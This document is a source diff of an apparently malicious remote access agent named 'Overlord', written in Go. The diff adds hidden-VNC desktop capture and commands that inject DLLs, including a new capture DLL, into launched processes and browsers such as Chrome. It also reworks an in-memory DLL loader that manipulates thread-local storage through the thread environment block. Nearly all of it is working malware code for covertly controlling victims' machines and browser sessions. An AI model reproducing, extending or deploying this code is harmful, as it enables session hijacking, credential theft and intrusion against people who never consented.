if hvncCapHDCScreen == 0 {
|
||||
hvncCapHDCScreen = getDC(0)
|
||||
if hvncCapHDCScreen == 0 {
|
||||
return 0, 0, nil, false
|
||||
}
|
||||
}
|
||||
if hvncCapHDCMem != 0 && hvncCapW == w && hvncCapH == h && hvncCapBits != nil {
|
||||
buf := unsafe.Slice((*byte)(hvncCapBits), w*h*4)
|
||||
return hvncCapHDCScreen, hvncCapHDCMem, buf, true
|
||||
}
|
||||
if hvncCapHBMP != 0 {
|
||||
deleteObject(hvncCapHBMP)
|
||||
hvncCapHBMP = 0
|
||||
}
|
||||
if hvncCapHDCMem != 0 {
|
||||
deleteDC(hvncCapHDCMem)
|
||||
hvncCapHDCMem = 0
|
||||
}
|
||||
hvncCapHDCMem = createCompatibleDC(hvncCapHDCScreen)
|
||||
if hvncCapHDCMem == 0 {
|
||||
return 0, 0, nil, false
|
||||
}
|
||||
bmi := bitmapInfo{
|
||||
bmiHeader: bitmapInfoHeader{
|
||||
biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
|
||||
biWidth: int32(w),
|
||||
biHeight: -int32(h),
|
||||
biPlanes: 1,
|
||||
biBitCount: 32,
|
||||
biCompression: BI_RGB,
|
||||
},
|
||||
}
|
||||
hvncCapHBMP = createDIBSection(hvncCapHDCMem, &bmi, DIB_RGB_COLORS, &hvncCapBits)
|
||||
if hvncCapHBMP == 0 || hvncCapBits == nil {
|
||||
deleteDC(hvncCapHDCMem)
|
||||
hvncCapHDCMem = 0
|
||||
return 0, 0, nil, false
|
||||
}
|
||||
selectObject(hvncCapHDCMem, hvncCapHBMP)
|
||||
hvncCapW = w
|
||||
hvncCapH = h
|
||||
hvncCapImg = nil
|
||||
buf := unsafe.Slice((*byte)(hvncCapBits), w*h*4)
|
||||
return hvncCapHDCScreen, hvncCapHDCMem, buf, true
|
||||
}
|
||||
|
||||
func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
|
||||
captureMu.Lock()
|
||||
defer captureMu.Unlock()
|
||||
|
||||
restoreRes := BypassResolutionCap()
|
||||
defer restoreRes()
|
||||
|
||||
setDPIAware()
|
||||
|
||||
maxDisplays := displayCount()
|
||||
@@ -748,36 +826,11 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
|
||||
capW := srcW
|
||||
capH := srcH
|
||||
|
||||
hdcScreen := getDC(0)
|
||||
if hdcScreen == 0 {
|
||||
hdcScreen, hdcMem, buf, ok := hvncEnsureCapCache(capW, capH)
|
||||
if !ok {
|
||||
return nil, syscall.EINVAL
|
||||
}
|
||||
defer releaseDC(0, hdcScreen)
|
||||
|
||||
hdcMem := createCompatibleDC(hdcScreen)
|
||||
if hdcMem == 0 {
|
||||
return nil, syscall.EINVAL
|
||||
}
|
||||
defer deleteDC(hdcMem)
|
||||
|
||||
bmi := bitmapInfo{
|
||||
bmiHeader: bitmapInfoHeader{
|
||||
biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
|
||||
biWidth: int32(capW),
|
||||
biHeight: -int32(capH),
|
||||
biPlanes: 1,
|
||||
biBitCount: 32,
|
||||
biCompression: BI_RGB,
|
||||
},
|
||||
}
|
||||
var bits unsafe.Pointer
|
||||
hbmp := createDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &bits)
|
||||
if hbmp == 0 || bits == nil {
|
||||
return nil, syscall.EINVAL
|
||||
}
|
||||
selectObject(hdcMem, hbmp)
|
||||
|
||||
buf := unsafe.Slice((*byte)(bits), capW*capH*4)
|
||||
for i := range buf {
|
||||
buf[i] = 0
|
||||
}
|
||||
@@ -792,14 +845,15 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
|
||||
}
|
||||
|
||||
swapRB(buf)
|
||||
img := image.NewRGBA(image.Rect(0, 0, capW, capH))
|
||||
|
||||
img := hvncCapImg
|
||||
if img == nil || img.Bounds().Dx() != capW || img.Bounds().Dy() != capH {
|
||||
img = image.NewRGBA(image.Rect(0, 0, capW, capH))
|
||||
hvncCapImg = img
|
||||
}
|
||||
copy(img.Pix, buf)
|
||||
|
||||
deleteObject(hbmp)
|
||||
|
||||
if hvncCursorEnabled {
|
||||
DrawCursorOnImage(img, bounds)
|
||||
}
|
||||
_ = hdcMem
|
||||
|
||||
if dstW != capW || dstH != capH {
|
||||
img = resizeNearest(img, dstW, dstH)
|
||||
@@ -1571,6 +1625,95 @@ func hvncFreeCacheEntry(entry *hvncWinCacheEntry) {
|
||||
}
|
||||
}
|
||||
|
||||
var dxgiFrameBuf []byte
|
||||
|
||||
var hvncDXGIEnabled atomic.Bool
|
||||
|
||||
func init() {
|
||||
hvncDXGIEnabled.Store(true) // enabled by default
|
||||
}
|
||||
|
||||
func SetHVNCDXGIEnabled(enabled bool) {
|
||||
hvncDXGIEnabled.Store(enabled)
|
||||
}
|
||||
|
||||
func GetHVNCDXGIEnabled() bool {
|
||||
return hvncDXGIEnabled.Load()
|
||||
}
|
||||
|
||||
func drawHVNCWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool {
|
||||
if !hvncDXGIEnabled.Load() {
|
||||
return false
|
||||
}
|
||||
var pid uint32
|
||||
procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid)))
|
||||
if pid == 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
reader := hvncGetFrameReader(pid)
|
||||
if reader == nil {
|
||||
hvncFrameReadersMu.Lock()
|
||||
gpuPID := hvncGPUPIDMap[pid]
|
||||
hvncFrameReadersMu.Unlock()
|
||||
if gpuPID != 0 {
|
||||
reader = hvncGetFrameReader(gpuPID)
|
||||
}
|
||||
}
|
||||
if reader == nil {
|
||||
return false
|
||||
}
|
||||
|
||||
needed := winW * winH * 4
|
||||
if cap(dxgiFrameBuf) < needed {
|
||||
dxgiFrameBuf = make([]byte, needed)
|
||||
}
|
||||
buf := dxgiFrameBuf[:needed]
|
||||
|
||||
frameW, frameH, ok := reader.readFrame(buf)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
|
||||
copyW := minInt(winW, frameW)
|
||||
copyH := minInt(winH, frameH)
|
||||
if copyW <= 0 || copyH <= 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
srcStride := frameW * 4
|
||||
winStride := winW * 4
|
||||
|
||||
effWinLeft := winLeft
|
||||
effWinTop := winTop
|
||||
effWinRight := winLeft + copyW
|
||||
effWinBottom := winTop + copyH
|
||||
|
||||
interLeft := maxInt(effWinLeft, bounds.Min.X)
|
||||
interTop := maxInt(effWinTop, bounds.Min.Y)
|
||||
interRight := minInt(effWinRight, bounds.Max.X)
|
||||
interBottom := minInt(effWinBottom, bounds.Max.Y)
|
||||
if interRight <= interLeft || interBottom <= interTop {
|
||||
return false
|
||||
}
|
||||
|
||||
srcX := interLeft - winLeft
|
||||
srcY := interTop - winTop
|
||||
dstX := interLeft - bounds.Min.X
|
||||
dstY := interTop - bounds.Min.Y
|
||||
blitW := interRight - interLeft
|
||||
blitH := interBottom - interTop
|
||||
|
||||
for y := 0; y < blitH; y++ {
|
||||
srcStart := (srcY+y)*srcStride + srcX*4
|
||||
dstStart := (dstY+y)*targetStride + dstX*4
|
||||
copy(target[dstStart:dstStart+blitW*4], buf[srcStart:srcStart+blitW*4])
|
||||
}
|
||||
|
||||
_ = winStride
|
||||
return true
|
||||
}
|
||||
|
||||
func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool {
|
||||
if !isWindowVisible(hwnd) {
|
||||
return false
|
||||
@@ -1597,6 +1740,10 @@ func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []by
|
||||
return false
|
||||
}
|
||||
|
||||
if drawn := drawHVNCWindowFromDXGI(hwnd, winLeft, winTop, winW, winH, bounds, target, targetStride); drawn {
|
||||
return true
|
||||
}
|
||||
|
||||
// Use pooled DC+DIB from cache
|
||||
entry := hvncGetOrCreateCache(hdcScreen, hwnd, winW, winH)
|
||||
if entry == nil {
|
||||
|
||||
@@ -17,7 +17,7 @@ import (
|
||||
"time"
|
||||
)
|
||||
|
||||
var AgentVersion = "1.8.4"
|
||||
var AgentVersion = "1.8.6"
|
||||
|
||||
var DefaultPersistence = "false"
|
||||
var DefaultServerURL = "wss://127.0.0.1:5173"
|
||||
|
||||
@@ -470,6 +470,21 @@ func extractDLLBytes(payload map[string]interface{}) []byte {
|
||||
return nil
|
||||
}
|
||||
|
||||
func extractCaptureDLLBytes(payload map[string]interface{}) []byte {
|
||||
if payload == nil {
|
||||
return nil
|
||||
}
|
||||
switch v := payload["capture_dll"].(type) {
|
||||
case []byte:
|
||||
return v
|
||||
case string:
|
||||
if len(v) > 0 {
|
||||
return []byte(v)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
|
||||
cmdID, _ := envelope["id"].(string)
|
||||
action, _ := envelope["commandType"].(string)
|
||||
@@ -977,6 +992,30 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
_ = HVNCCursorControl(ctx, env, enabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_enable_dxgi":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
dxgiEnabled := true
|
||||
if payload != nil {
|
||||
if v, ok := payload["enabled"].(bool); ok {
|
||||
dxgiEnabled = v
|
||||
}
|
||||
}
|
||||
log.Printf("hvnc: DXGI capture %v", dxgiEnabled)
|
||||
capture.SetHVNCDXGIEnabled(dxgiEnabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_set_resolution":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
maxH := 1080
|
||||
if payload != nil {
|
||||
if v, ok := payloadInt(payload, "maxHeight"); ok {
|
||||
maxH = v
|
||||
}
|
||||
}
|
||||
log.Printf("hvnc: set resolution maxHeight=%d", maxH)
|
||||
capture.SetMaxResolution(maxH)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_set_quality":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
quality := 90
|
||||
@@ -1437,10 +1476,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d", filePath, searchPath, replacePath, len(dllBytes))
|
||||
captureDllBytes := extractCaptureDLLBytes(payload)
|
||||
log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, len(dllBytes), len(captureDllBytes))
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_process_injected", nil, func() {
|
||||
if err := capture.StartHVNCProcessInjected(filePath, dllBytes, searchPath, replacePath); err != nil {
|
||||
if err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath); err != nil {
|
||||
log.Printf("hvnc: injected process failed for %q: %v", filePath, err)
|
||||
}
|
||||
})
|
||||
@@ -1460,9 +1500,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
|
||||
captureDllBytes := extractCaptureDLLBytes(payload)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_chrome_injected", nil, func() {
|
||||
if err := capture.StartHVNCChromeInjected(chromePath, dllBytes); err != nil {
|
||||
if err := capture.StartHVNCChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil {
|
||||
log.Printf("hvnc: chrome injected failed: %v", err)
|
||||
}
|
||||
})
|
||||
@@ -1502,6 +1543,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, len(dllBytes))
|
||||
captureDllBytes := extractCaptureDLLBytes(payload)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_browser_injected", nil, func() {
|
||||
var onProgress capture.CloneProgressFunc
|
||||
@@ -1517,7 +1559,15 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
})
|
||||
}
|
||||
}
|
||||
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, killIfRunning, onProgress); err != nil {
|
||||
onDXGIStatus := func(success bool, gpuPID uint32, message string) {
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCDXGIStatus{
|
||||
Type: "hvnc_dxgi_status",
|
||||
Success: success,
|
||||
GPUPid: gpuPID,
|
||||
Message: message,
|
||||
})
|
||||
}
|
||||
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress, onDXGIStatus); err != nil {
|
||||
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
|
||||
}
|
||||
})
|
||||
|
||||
@@ -27,7 +27,7 @@ func GetPersistedHVNCDisplay() int {
|
||||
}
|
||||
|
||||
func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
|
||||
interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30)
|
||||
interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120)
|
||||
capture.SetH264TargetFPS(fps)
|
||||
log.Printf("hvnc: starting stream (max fps %d)", fps)
|
||||
|
||||
|
||||
@@ -5,7 +5,7 @@ package plugins
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"sync"
|
||||
"runtime"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
@@ -15,59 +15,96 @@ func loadNativePlugin(data []byte) (NativePlugin, error) {
|
||||
return nil, errors.New("empty plugin binary")
|
||||
}
|
||||
|
||||
mm, err := LoadMemoryModule(data)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("pe load: %w", err)
|
||||
type initResult struct {
|
||||
dp *dllPlugin
|
||||
err error
|
||||
}
|
||||
ch := make(chan initResult, 1)
|
||||
|
||||
if err := mm.CallEntryPoint(dllProcessAttach); err != nil {
|
||||
mm.Free()
|
||||
return nil, fmt.Errorf("DllMain init: %w", err)
|
||||
}
|
||||
go func() {
|
||||
runtime.LockOSThread()
|
||||
|
||||
onLoad, err := mm.GetExport("PluginOnLoad")
|
||||
if err != nil {
|
||||
mm.Free()
|
||||
return nil, err
|
||||
}
|
||||
onEvent, err := mm.GetExport("PluginOnEvent")
|
||||
if err != nil {
|
||||
mm.Free()
|
||||
return nil, err
|
||||
}
|
||||
onUnload, err := mm.GetExport("PluginOnUnload")
|
||||
if err != nil {
|
||||
mm.Free()
|
||||
return nil, err
|
||||
}
|
||||
mm, err := LoadMemoryModule(data)
|
||||
if err != nil {
|
||||
ch <- initResult{err: fmt.Errorf("pe load: %w", err)}
|
||||
runtime.UnlockOSThread()
|
||||
return
|
||||
}
|
||||
|
||||
setCallback, _ := mm.GetExport("PluginSetCallback")
|
||||
if err := mm.CallEntryPoint(dllProcessAttach); err != nil {
|
||||
mm.Free()
|
||||
ch <- initResult{err: fmt.Errorf("DllMain init: %w", err)}
|
||||
runtime.UnlockOSThread()
|
||||
return
|
||||
}
|
||||
|
||||
runtime := "go"
|
||||
if getRuntimeAddr, err := mm.GetExport("PluginGetRuntime"); err == nil {
|
||||
ret, _, _ := syscall.SyscallN(getRuntimeAddr)
|
||||
if ret != 0 {
|
||||
var buf [32]byte
|
||||
for i := range buf {
|
||||
b := *(*byte)(unsafe.Pointer(ret + uintptr(i)))
|
||||
if b == 0 {
|
||||
runtime = string(buf[:i])
|
||||
break
|
||||
onLoad, err := mm.GetExport("PluginOnLoad")
|
||||
if err != nil {
|
||||
mm.Free()
|
||||
ch <- initResult{err: err}
|
||||
runtime.UnlockOSThread()
|
||||
return
|
||||
}
|
||||
onEvent, err := mm.GetExport("PluginOnEvent")
|
||||
if err != nil {
|
||||
mm.Free()
|
||||
ch <- initResult{err: err}
|
||||
runtime.UnlockOSThread()
|
||||
return
|
||||
}
|
||||
onUnload, err := mm.GetExport("PluginOnUnload")
|
||||
if err != nil {
|
||||
mm.Free()
|
||||
ch <- initResult{err: err}
|
||||
runtime.UnlockOSThread()
|
||||
return
|
||||
}
|
||||
|
||||
setCallback, _ := mm.GetExport("PluginSetCallback")
|
||||
|
||||
rt := "go"
|
||||
if getRuntimeAddr, err := mm.GetExport("PluginGetRuntime"); err == nil {
|
||||
ret, _, _ := syscall.SyscallN(getRuntimeAddr)
|
||||
if ret != 0 {
|
||||
var buf [32]byte
|
||||
for i := range buf {
|
||||
b := *(*byte)(unsafe.Pointer(ret + uintptr(i)))
|
||||
if b == 0 {
|
||||
rt = string(buf[:i])
|
||||
break
|
||||
}
|
||||
buf[i] = b
|
||||
}
|
||||
buf[i] = b
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
dp := &dllPlugin{
|
||||
mem: mm,
|
||||
onLoadAddr: onLoad,
|
||||
onEventAddr: onEvent,
|
||||
onUnloadAddr: onUnload,
|
||||
setCallbackAddr: setCallback,
|
||||
pluginRuntime: runtime,
|
||||
dp := &dllPlugin{
|
||||
mem: mm,
|
||||
onLoadAddr: onLoad,
|
||||
onEventAddr: onEvent,
|
||||
onUnloadAddr: onUnload,
|
||||
setCallbackAddr: setCallback,
|
||||
pluginRuntime: rt,
|
||||
workCh: make(chan pluginWork),
|
||||
}
|
||||
|
||||
ch <- initResult{dp: dp}
|
||||
|
||||
dp.workerLoop()
|
||||
|
||||
runtime.UnlockOSThread()
|
||||
}()
|
||||
|
||||
res := <-ch
|
||||
if res.err != nil {
|
||||
return nil, res.err
|
||||
}
|
||||
return dp, nil
|
||||
return res.dp, nil
|
||||
}
|
||||
|
||||
type pluginWork struct {
|
||||
fn func() error
|
||||
done chan error
|
||||
}
|
||||
|
||||
type dllPlugin struct {
|
||||
@@ -78,76 +115,94 @@ type dllPlugin struct {
|
||||
setCallbackAddr uintptr
|
||||
callbackHandle uintptr // prevent GC of the callback closure
|
||||
pluginRuntime string // "go", "c", "cpp", etc.
|
||||
mu sync.Mutex
|
||||
workCh chan pluginWork
|
||||
}
|
||||
|
||||
func (p *dllPlugin) workerLoop() {
|
||||
for w := range p.workCh {
|
||||
w.done <- w.fn()
|
||||
}
|
||||
}
|
||||
|
||||
func (p *dllPlugin) runOnWorker(fn func() error) error {
|
||||
done := make(chan error, 1)
|
||||
p.workCh <- pluginWork{fn: fn, done: done}
|
||||
return <-done
|
||||
}
|
||||
|
||||
func (p *dllPlugin) Load(send func(string, []byte), hostInfo []byte) error {
|
||||
p.mu.Lock()
|
||||
defer p.mu.Unlock()
|
||||
return p.runOnWorker(func() error {
|
||||
// Create a stdcall callback the DLL can invoke to send events to the host.
|
||||
cb := syscall.NewCallback(func(eventPtr, eventLen, payloadPtr, payloadLen uintptr) uintptr {
|
||||
event := make([]byte, eventLen)
|
||||
if eventLen > 0 {
|
||||
copy(event, unsafe.Slice((*byte)(unsafe.Pointer(eventPtr)), eventLen))
|
||||
}
|
||||
payload := make([]byte, payloadLen)
|
||||
if payloadLen > 0 {
|
||||
copy(payload, unsafe.Slice((*byte)(unsafe.Pointer(payloadPtr)), payloadLen))
|
||||
}
|
||||
send(string(event), payload)
|
||||
return 0
|
||||
})
|
||||
p.callbackHandle = cb
|
||||
|
||||
// Create a stdcall callback the DLL can invoke to send events to the host.
|
||||
cb := syscall.NewCallback(func(eventPtr, eventLen, payloadPtr, payloadLen uintptr) uintptr {
|
||||
event := make([]byte, eventLen)
|
||||
if eventLen > 0 {
|
||||
copy(event, unsafe.Slice((*byte)(unsafe.Pointer(eventPtr)), eventLen))
|
||||
if p.setCallbackAddr != 0 {
|
||||
syscall.SyscallN(p.setCallbackAddr, cb)
|
||||
}
|
||||
payload := make([]byte, payloadLen)
|
||||
if payloadLen > 0 {
|
||||
copy(payload, unsafe.Slice((*byte)(unsafe.Pointer(payloadPtr)), payloadLen))
|
||||
|
||||
var infoPtr uintptr
|
||||
infoLen := uintptr(len(hostInfo))
|
||||
if len(hostInfo) > 0 {
|
||||
infoPtr = uintptr(unsafe.Pointer(&hostInfo[0]))
|
||||
}
|
||||
send(string(event), payload)
|
||||
return 0
|
||||
ret, _, _ := syscall.SyscallN(p.onLoadAddr, infoPtr, infoLen, cb)
|
||||
if int32(ret) != 0 {
|
||||
return errors.New("PluginOnLoad returned non-zero")
|
||||
}
|
||||
return nil
|
||||
})
|
||||
p.callbackHandle = cb
|
||||
|
||||
if p.setCallbackAddr != 0 {
|
||||
syscall.SyscallN(p.setCallbackAddr, cb)
|
||||
}
|
||||
|
||||
var infoPtr uintptr
|
||||
infoLen := uintptr(len(hostInfo))
|
||||
if len(hostInfo) > 0 {
|
||||
infoPtr = uintptr(unsafe.Pointer(&hostInfo[0]))
|
||||
}
|
||||
ret, _, _ := syscall.SyscallN(p.onLoadAddr, infoPtr, infoLen, cb)
|
||||
if int32(ret) != 0 {
|
||||
return errors.New("PluginOnLoad returned non-zero")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *dllPlugin) Event(event string, payload []byte) error {
|
||||
p.mu.Lock()
|
||||
defer p.mu.Unlock()
|
||||
|
||||
eventBytes := []byte(event)
|
||||
var eventPtr, payloadPtr uintptr
|
||||
eventLen := uintptr(len(eventBytes))
|
||||
payloadLen := uintptr(len(payload))
|
||||
if len(eventBytes) > 0 {
|
||||
eventPtr = uintptr(unsafe.Pointer(&eventBytes[0]))
|
||||
}
|
||||
if len(payload) > 0 {
|
||||
payloadPtr = uintptr(unsafe.Pointer(&payload[0]))
|
||||
}
|
||||
payloadCopy := make([]byte, len(payload))
|
||||
copy(payloadCopy, payload)
|
||||
|
||||
ret, _, _ := syscall.SyscallN(p.onEventAddr, eventPtr, eventLen, payloadPtr, payloadLen)
|
||||
if int32(ret) != 0 {
|
||||
return errors.New("PluginOnEvent returned non-zero")
|
||||
}
|
||||
go func() {
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
|
||||
cleanup := p.mem.SetupThreadTLS()
|
||||
defer cleanup()
|
||||
|
||||
var eventPtr, payloadPtr uintptr
|
||||
eventLen := uintptr(len(eventBytes))
|
||||
payloadLen := uintptr(len(payloadCopy))
|
||||
if len(eventBytes) > 0 {
|
||||
eventPtr = uintptr(unsafe.Pointer(&eventBytes[0]))
|
||||
}
|
||||
if len(payloadCopy) > 0 {
|
||||
payloadPtr = uintptr(unsafe.Pointer(&payloadCopy[0]))
|
||||
}
|
||||
|
||||
syscall.SyscallN(p.onEventAddr, eventPtr, eventLen, payloadPtr, payloadLen)
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *dllPlugin) Unload() {
|
||||
p.mu.Lock()
|
||||
defer p.mu.Unlock()
|
||||
if p.onUnloadAddr != 0 {
|
||||
syscall.SyscallN(p.onUnloadAddr)
|
||||
}
|
||||
_ = p.runOnWorker(func() error {
|
||||
if p.onUnloadAddr != 0 {
|
||||
syscall.SyscallN(p.onUnloadAddr)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
func (p *dllPlugin) Close() error {
|
||||
p.Unload()
|
||||
close(p.workCh)
|
||||
if p.pluginRuntime != "go" {
|
||||
if p.mem != nil {
|
||||
p.mem.Free()
|
||||
|
||||
@@ -5,6 +5,7 @@ package plugins
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"overlord-client/cmd/agent/plugins/teb"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
@@ -123,14 +124,18 @@ type imageTLSDirectory64 struct {
|
||||
}
|
||||
|
||||
type MemoryModule struct {
|
||||
base uintptr
|
||||
size uintptr
|
||||
entryPoint uintptr
|
||||
exports map[string]uintptr
|
||||
importDLLs []windows.Handle
|
||||
initialized bool
|
||||
tlsIndex uint32
|
||||
tlsData uintptr
|
||||
base uintptr
|
||||
size uintptr
|
||||
entryPoint uintptr
|
||||
exports map[string]uintptr
|
||||
importDLLs []windows.Handle
|
||||
initialized bool
|
||||
tlsIndex uint32
|
||||
tlsData uintptr
|
||||
tlsArrayAlloc uintptr // our VirtualAlloc'd ThreadLocalStoragePointer array
|
||||
tlsTemplSrc uintptr // PE template raw data start (for copying to new threads)
|
||||
tlsTemplSize uintptr // dataSize (template bytes to copy)
|
||||
tlsTotalSize uintptr // dataSize + zeroFill (total allocation per thread)
|
||||
}
|
||||
|
||||
func LoadMemoryModule(data []byte) (*MemoryModule, error) {
|
||||
@@ -293,8 +298,8 @@ func (mm *MemoryModule) Free() {
|
||||
if mm.tlsIndex != 0xFFFFFFFF {
|
||||
if mm.tlsData != 0 {
|
||||
_ = windows.VirtualFree(mm.tlsData, 0, windows.MEM_RELEASE)
|
||||
mm.tlsData = 0
|
||||
}
|
||||
procTlsFree.Call(uintptr(mm.tlsIndex))
|
||||
}
|
||||
for _, h := range mm.importDLLs {
|
||||
_ = windows.FreeLibrary(h)
|
||||
@@ -431,30 +436,78 @@ func (mm *MemoryModule) setupTLS(reason uint32) {
|
||||
|
||||
tls := (*imageTLSDirectory64)(unsafe.Pointer(mm.base + uintptr(tlsDir.VirtualAddress)))
|
||||
|
||||
idx, _, _ := procTlsAlloc.Call()
|
||||
if idx == 0xFFFFFFFF {
|
||||
return
|
||||
}
|
||||
mm.tlsIndex = uint32(idx)
|
||||
|
||||
if tls.AddressOfIndex != 0 {
|
||||
*(*uint32)(unsafe.Pointer(uintptr(tls.AddressOfIndex))) = mm.tlsIndex
|
||||
}
|
||||
|
||||
dataSize := uintptr(tls.EndAddressOfRawData - tls.StartAddressOfRawData)
|
||||
totalSize := dataSize + uintptr(tls.SizeOfZeroFill)
|
||||
|
||||
var tlsData uintptr
|
||||
if totalSize > 0 {
|
||||
tlsData, err := windows.VirtualAlloc(0, totalSize,
|
||||
var err error
|
||||
tlsData, err = windows.VirtualAlloc(0, totalSize,
|
||||
windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
|
||||
if err == nil && tlsData != 0 {
|
||||
if dataSize > 0 {
|
||||
copyMem(tlsData, (*byte)(unsafe.Pointer(uintptr(tls.StartAddressOfRawData))), dataSize)
|
||||
}
|
||||
procTlsSetValue.Call(uintptr(mm.tlsIndex), tlsData)
|
||||
mm.tlsData = tlsData
|
||||
if err != nil || tlsData == 0 {
|
||||
return
|
||||
}
|
||||
if dataSize > 0 {
|
||||
copyMem(tlsData, (*byte)(unsafe.Pointer(uintptr(tls.StartAddressOfRawData))), dataSize)
|
||||
}
|
||||
}
|
||||
|
||||
tebAddr := teb.CurrentTEB()
|
||||
tlsArrayField := (*uintptr)(unsafe.Pointer(tebAddr + 0x58)) // ThreadLocalStoragePointer
|
||||
oldArray := *tlsArrayField
|
||||
|
||||
var newIndex uint32
|
||||
ptrSize := unsafe.Sizeof(uintptr(0))
|
||||
|
||||
if oldArray == 0 {
|
||||
newArray, err := windows.VirtualAlloc(0, ptrSize,
|
||||
windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
|
||||
if err != nil || newArray == 0 {
|
||||
if tlsData != 0 {
|
||||
_ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE)
|
||||
}
|
||||
return
|
||||
}
|
||||
*(*uintptr)(unsafe.Pointer(newArray)) = tlsData
|
||||
*tlsArrayField = newArray
|
||||
newIndex = 0
|
||||
mm.tlsArrayAlloc = newArray
|
||||
} else {
|
||||
var count uint32
|
||||
for count = 0; count < 256; count++ {
|
||||
entry := *(*uintptr)(unsafe.Pointer(oldArray + uintptr(count)*ptrSize))
|
||||
if entry == 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
newSize := uintptr(count+1) * ptrSize
|
||||
newArray, err := windows.VirtualAlloc(0, newSize,
|
||||
windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
|
||||
if err != nil || newArray == 0 {
|
||||
if tlsData != 0 {
|
||||
_ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE)
|
||||
}
|
||||
return
|
||||
}
|
||||
if count > 0 {
|
||||
copyMem(newArray, (*byte)(unsafe.Pointer(oldArray)), uintptr(count)*ptrSize)
|
||||
}
|
||||
*(*uintptr)(unsafe.Pointer(newArray + uintptr(count)*ptrSize)) = tlsData
|
||||
*tlsArrayField = newArray
|
||||
newIndex = count
|
||||
mm.tlsArrayAlloc = newArray
|
||||
}
|
||||
|
||||
if tls.AddressOfIndex != 0 {
|
||||
*(*uint32)(unsafe.Pointer(uintptr(tls.AddressOfIndex))) = newIndex
|
||||
}
|
||||
|
||||
mm.tlsIndex = newIndex
|
||||
mm.tlsData = tlsData
|
||||
mm.tlsTemplSrc = uintptr(tls.StartAddressOfRawData)
|
||||
mm.tlsTemplSize = dataSize
|
||||
mm.tlsTotalSize = totalSize
|
||||
|
||||
if tls.AddressOfCallBacks != 0 {
|
||||
cbAddr := uintptr(tls.AddressOfCallBacks)
|
||||
for {
|
||||
@@ -468,6 +521,61 @@ func (mm *MemoryModule) setupTLS(reason uint32) {
|
||||
}
|
||||
}
|
||||
|
||||
func (mm *MemoryModule) SetupThreadTLS() func() {
|
||||
if mm.tlsIndex == 0xFFFFFFFF || mm.tlsTotalSize == 0 {
|
||||
return func() {}
|
||||
}
|
||||
